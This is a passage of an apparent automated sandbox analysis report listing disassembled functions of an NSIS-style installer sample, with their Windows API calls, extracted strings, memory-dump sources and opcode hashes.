Instruction Fuzzy Hash: 13C1C274E00258CFDB14DFA9C994B9DBBB2BF89300F6080A9D809AB355DB359E85DF11

Function 36AFB4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2734067728.0000000036AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36af0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37eaecc91aa06fae9e91d5126e6e32a3d3ab3eb7b4146da41e214d3334698fc7
Instruction ID: 0fcf10b8798166b262aa4d9db8c093ccb526f9be01b201d2181b1f459249e18f
Opcode Fuzzy Hash: 37eaecc91aa06fae9e91d5126e6e32a3d3ab3eb7b4146da41e214d3334698fc7
Instruction Fuzzy Hash: 2DC1B274E00218CFDB14DFA9C994B9DBBB2BF89300F6080A9D809AB355DB359E85DF51

Function 36AFBD9C Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2734067728.0000000036AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36af0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e53e8d981a8cb14599ce95b08284c9e1e3f57a9292e0504501efd3948b771af5
Instruction ID: 5e59a75162a1d02f68fac352ce911395a3d4cafbfd1bdc2c4fefe2890f063f58
Opcode Fuzzy Hash: e53e8d981a8cb14599ce95b08284c9e1e3f57a9292e0504501efd3948b771af5
Instruction Fuzzy Hash: 0CC1C274E00258CFEB14DFA9C994B9DBBB2BF89300F1081A9D809AB355DB359E85DF11

Function 36AFEBF4 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2734067728.0000000036AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36af0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560316c8083d0a6a28cded5b96f0f9cdcc1799699943e997b9115b33ada48f94
Instruction ID: c25dbb419e9bcc3a7f38dc069d3c1b8ca77831821ee4934f3f3a3e1c17f8d132
Opcode Fuzzy Hash: 560316c8083d0a6a28cded5b96f0f9cdcc1799699943e997b9115b33ada48f94
Instruction Fuzzy Hash: 20C1C274E00258CFEB14DFA9C994B9DBBB2BF89300F1081A9E809AB355DB359D81DF51

Function 36AFF054 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2734067728.0000000036AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36af0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33b9974f131b76beb4aef8fc28135f27a450a981d73fbc0ef48006fc1f693b7c
Instruction ID: 3b9f2ae23df7a601fd5aeaf411a462e6043126b2cdd385538281a10c381239e6
Opcode Fuzzy Hash: 33b9974f131b76beb4aef8fc28135f27a450a981d73fbc0ef48006fc1f693b7c
Instruction Fuzzy Hash: 64C1C274E00258CFEB14DFA9C994B9DBBB2BF89300F5080A9D809AB355DB359E81DF11

Function 39EBF5D8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8e5895a4fd06be9505eb4c0df6f18388d32d621ec01a4bd25f27435a0eee7e3
Instruction ID: 42297b7f53808e1b612e78a0c7a483d21d25fd65ac31e6652ba16f155f4dc48e
Opcode Fuzzy Hash: a8e5895a4fd06be9505eb4c0df6f18388d32d621ec01a4bd25f27435a0eee7e3
Instruction Fuzzy Hash: 3AD06775D142188BCB11DFA99C402ECF770AB99311F0124A6954DAB200DB719A908F57

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,?,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,?), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,?,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,?), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,75573420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

.DEFAULT\Control Panel\International, xrefs: 00403B44
(7B, xrefs: 00403B04
RichEd32, xrefs: 00403D14
.exe, xrefs: 00403BE6
RichEdit, xrefs: 00403D33
_Nb, xrefs: 00403C5C, 00403CC4
RichEd20, xrefs: 00403D06
RichEdit20W, xrefs: 00403D24, 00403D2A
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,?,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,?,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 0040494D
A, xrefs: 00404973

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(00000040,0040A230), ref: 004030F0

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Error launching installer, xrefs: 00402F80
Null, xrefs: 00403029
soft, xrefs: 00403020
Inst, xrefs: 00403017
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
